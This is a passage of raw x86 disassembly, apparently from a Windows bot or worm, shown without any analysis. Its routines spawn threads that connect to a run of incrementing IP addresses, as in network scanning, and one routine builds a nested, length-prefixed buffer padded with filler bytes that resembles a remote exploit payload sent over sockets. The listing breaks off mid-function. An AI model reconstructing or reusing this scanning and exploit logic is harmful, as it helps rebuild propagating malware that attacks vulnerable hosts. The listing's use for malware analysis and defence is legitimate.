		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408C5D
		add	esp, 14h


loc_40B4F5:				; CODE XREF: sub_40B43D+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413B5E
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B50B:				; CODE XREF: sub_40B43D+63j
					; sub_40B43D+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_423078
		mov	edi, ebx
		mov	dword_4C994C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40B5D8


loc_40B529:				; CODE XREF: sub_40B43D+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F94
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40A203
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40B229
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40B5A3


loc_40B598:				; CODE XREF: sub_40B43D+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40B5CA
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40B598
; ---------------------------------------------------------------------------


loc_40B5A3:				; CODE XREF: sub_40B43D+159j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F5C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40B5CA:				; CODE XREF: sub_40B43D+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40B529


loc_40B5D8:				; CODE XREF: sub_40B43D+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40B682
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40B5ED:				; CODE XREF: sub_40B43D+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4C9948[eax*8]
		push	eax
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_433F1C
		push	eax
		call	sub_417D96
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40B63B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408C5D
		add	esp, 14h


loc_40B63B:				; CODE XREF: sub_40B43D+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_413B5E
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4C994C[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40A44B
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40B672
		push	offset dword_4CB948
		call	dword_4230DC	; RtlDeleteCriticalSection


loc_40B672:				; CODE XREF: sub_40B43D+228j
		push	[ebp+var_2C]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40B682:				; CODE XREF: sub_40B43D+19Ej
					; sub_40B43D+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4C994C[eax*8], 1
		jnz	loc_40B5ED
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40B682
sub_40B43D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B69C	proc near		; DATA XREF: sub_40B769+7Bo
					; sub_40B85A+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4C97FC	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4C9878	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40B75A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C97A8	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43C74C[ecx], esi
		jz	short loc_40B75A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4C9884	; inet_ntoa
		push	eax
		mov	edi, offset dword_4CC30C
		push	offset unk_433FFC
		push	edi
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_408C5D
		push	edi
		call	sub_413B5E
		add	esp, 28h


loc_40B75A:				; CODE XREF: sub_40B69C+5Dj
					; sub_40B69C+7Ej
		push	esi
		call	dword_4C9890	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40B69C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40B769	proc near		; DATA XREF: sub_401AC7+576Do

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_423078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B797:				; CODE XREF: sub_40B769+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_434024
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40B69C
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40B803


loc_40B7F8:				; CODE XREF: sub_40B769+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40B803
		push	32h
		call	esi	; Sleep
		jmp	short loc_40B7F8
; ---------------------------------------------------------------------------


loc_40B803:				; CODE XREF: sub_40B769+8Dj
					; sub_40B769+92j
		push	[ebp+var_4]
		call	dword_423068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C9734	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C97F8	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_418810
		add	esp, 0Ch
		jmp	loc_40B797
sub_40B769	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B85A	proc near		; DATA XREF: sub_401AC7+5483o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_423078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40B888:				; CODE XREF: sub_40B85A+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_434078
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417B00
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40B69C
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40B8F4


loc_40B8E9:				; CODE XREF: sub_40B85A+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40B8F4
		push	32h
		call	esi	; Sleep
		jmp	short loc_40B8E9
; ---------------------------------------------------------------------------


loc_40B8F4:				; CODE XREF: sub_40B85A+8Dj
					; sub_40B85A+92j
		push	[ebp+arg_0]
		call	dword_423068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40B91B
		inc	[ebp+var_2C]
		jmp	loc_40B888
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40B85A+B7j
		push	[ebp+var_1C]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43404C
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		push	[ebp+var_20]
		call	sub_40A51F
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40B85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B967	proc near		; CODE XREF: sub_40BBDB+Ep
					; sub_40BBDB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40B967	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B971	proc near		; CODE XREF: sub_40BBDB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40B9A3
		push	ebx
		push	0
		push	edi
		call	sub_417AA0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_418810
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40B9A3:				; CODE XREF: sub_40B971+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40B971	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9AB	proc near		; CODE XREF: sub_40BAA5+18p
					; sub_40BB1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40B9F7
		push	edi
		push	0
		push	esi
		call	sub_417AA0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_418810
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_418810
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B9F7:				; CODE XREF: sub_40B9AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40B9AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA00	proc near		; CODE XREF: sub_40BAA5+5Ep
					; sub_40BAA5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40BA10
		push	eax
		call	sub_4177C1
		pop	ecx


loc_40BA10:				; CODE XREF: sub_40BA00+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40BA00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA19	proc near		; CODE XREF: sub_40BAA5+20p
					; sub_40BB80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40BA46
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40BA4A


loc_40BA46:				; CODE XREF: sub_40BA19+Dj
		xor	al, al
		jmp	short loc_40BAA1
; ---------------------------------------------------------------------------


loc_40BA4A:				; CODE XREF: sub_40BA19+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417AA0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40BA6F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40BA89
; ---------------------------------------------------------------------------


loc_40BA6F:				; CODE XREF: sub_40BA19+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40BA89:				; CODE XREF: sub_40BA19+54j
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_4177C1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40BAA1:				; CODE XREF: sub_40BA19+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BA19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAA5	proc near		; CODE XREF: sub_40BBDB+89p
					; sub_40BBDB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4C96C8
		call	sub_40B9AB
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417A2B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40BADF
		xor	al, al
		jmp	short loc_40BB1B
; ---------------------------------------------------------------------------


loc_40BADF:				; CODE XREF: sub_40BAA5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417AA0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_418810
		add	esp, 18h
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40BA00
		mov	al, 1


loc_40BB1B:				; CODE XREF: sub_40BAA5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40BAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB1F	proc near		; CODE XREF: sub_40BB53+14p
					; sub_40BB70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40B9AB
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40BB1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB53	proc near		; CODE XREF: sub_40BBDB+F0p
					; sub_40BBDB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4176F0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BB1F
		pop	esi
		retn	4
sub_40BB53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB70	proc near		; CODE XREF: sub_40BBBC+Bp
					; sub_40BBDB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40BB1F
		retn	8
sub_40BB70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB80	proc near		; CODE XREF: sub_40BBBC+16p
					; sub_40BBDB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40BA19
		test	al, al
		jz	short loc_40BBB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4282C4
		call	sub_40B9AB
		mov	ecx, esi
		call	sub_40BA00
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40BBB9:				; CODE XREF: sub_40BB80+Fj
		pop	esi
		leave
		retn
sub_40BB80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBBC	proc near		; CODE XREF: sub_40BBDB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40BB70
		test	al, al
		jz	short loc_40BBD7
		mov	ecx, esi
		call	sub_40BB80


loc_40BBD7:				; CODE XREF: sub_40BBBC+12j
		pop	esi
		retn	8
sub_40BBBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBDB	proc near		; CODE XREF: nsp0:0040C462p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40B967
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40BF2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40BF2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40B967
		lea	ecx, [ebp+var_20]
		call	sub_40B967
		lea	ecx, [ebp+var_50]
		call	sub_40B967
		lea	ecx, [ebp+var_18]
		call	sub_40B967
		lea	ecx, [ebp+var_40]
		call	sub_40B967
		lea	ecx, [ebp+var_38]
		call	sub_40B967
		lea	ecx, [ebp+var_28]
		call	sub_40B967
		push	4
		push	offset dword_4340B0
		lea	ecx, [ebp+var_30]
		call	sub_40BB1F
		push	3
		push	offset dword_4340B8
		lea	ecx, [ebp+var_30]
		call	sub_40BB1F
		lea	ecx, [ebp+var_30]
		call	sub_40BAA5
		lea	ecx, [ebp+var_30]
		call	sub_40BB80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40BB1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40BB1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_20]
		call	sub_40BAA5
		push	offset loc_434430
		lea	ecx, [ebp+var_50]
		call	sub_40BB53
		lea	ecx, [ebp+var_50]
		call	sub_40BAA5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40B971
		lea	ecx, [ebp+var_58]
		call	sub_40BAA5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40BBBC
		lea	ecx, [ebp+var_58]
		call	sub_40BA00
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40BB53
		push	4
		push	offset dword_4340BC
		lea	ecx, [ebp+var_18]
		call	sub_40BB1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40BB1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_18]
		call	sub_40BAA5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40BB70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40BB70
		lea	ecx, [ebp+var_40]
		call	sub_40BB80
		lea	ecx, [ebp+var_18]
		call	sub_40BA00
		lea	ecx, [ebp+var_50]
		call	sub_40BA00
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40BB70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40BB70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40BB70
		lea	ecx, [ebp+var_38]
		call	sub_40BB80
		lea	ecx, [ebp+var_20]
		call	sub_40BA00
		lea	ecx, [ebp+var_30]
		call	sub_40BA00
		lea	ecx, [ebp+var_40]
		call	sub_40BA00
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40BB1F
		lea	ecx, [ebp+var_28]
		call	sub_40BAA5
		push	2
		push	offset dword_434424
		lea	ecx, [ebp+var_28]
		call	sub_40BB1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40BB70
		lea	ecx, [ebp+var_28]
		call	sub_40BB80
		lea	ecx, [ebp+var_38]
		call	sub_40BA00
		lea	ecx, [ebp+var_10]
		call	sub_40B967
		lea	ecx, [ebp+var_8]
		call	sub_40B967
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40BB70
		lea	ecx, [ebp+var_10]
		call	sub_40BA19
		lea	ecx, [ebp+var_28]
		call	sub_40BA00
		push	offset dword_434420
		lea	ecx, [ebp+var_8]
		call	sub_40BB53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		lea	ecx, [ebp+var_10]
		call	sub_40BA00
		push	offset a0_0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40BB53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40BB70
		lea	ecx, [ebp+var_10]
		call	sub_40BA19
		lea	ecx, [ebp+var_8]
		call	sub_40BA00
		push	offset dword_434414
		lea	ecx, [ebp+var_8]
		call	sub_40BB53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA19
		lea	ecx, [ebp+var_10]
		call	sub_40BA00
		push	(offset	loc_43440F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40BB53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40BB70
		lea	ecx, [ebp+var_8]
		call	sub_40BA00
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40BF3D
; ---------------------------------------------------------------------------


loc_40BF2F:				; CODE XREF: sub_40BBDB+1Bj
					; sub_40BBDB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40BF3D:				; CODE XREF: sub_40BBDB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40BBDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF41	proc near		; CODE XREF: sub_40C005+A1p
					; sub_40C005+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_42320C	; select
		cmp	eax, edi
		jnz	short loc_40BFA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40BFAC


loc_40BFA8:				; CODE XREF: sub_40BF41+54j
		xor	eax, eax
		jmp	short loc_40BFBC
; ---------------------------------------------------------------------------


loc_40BFAC:				; CODE XREF: sub_40BF41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C9814	; recv


loc_40BFBC:				; CODE XREF: sub_40BF41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40BF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFC0	proc near		; CODE XREF: sub_40C005+81p
					; sub_40C005+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4C97F8	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 4
		jz	short loc_40BFEA
		xor	al, al
		leave
		retn
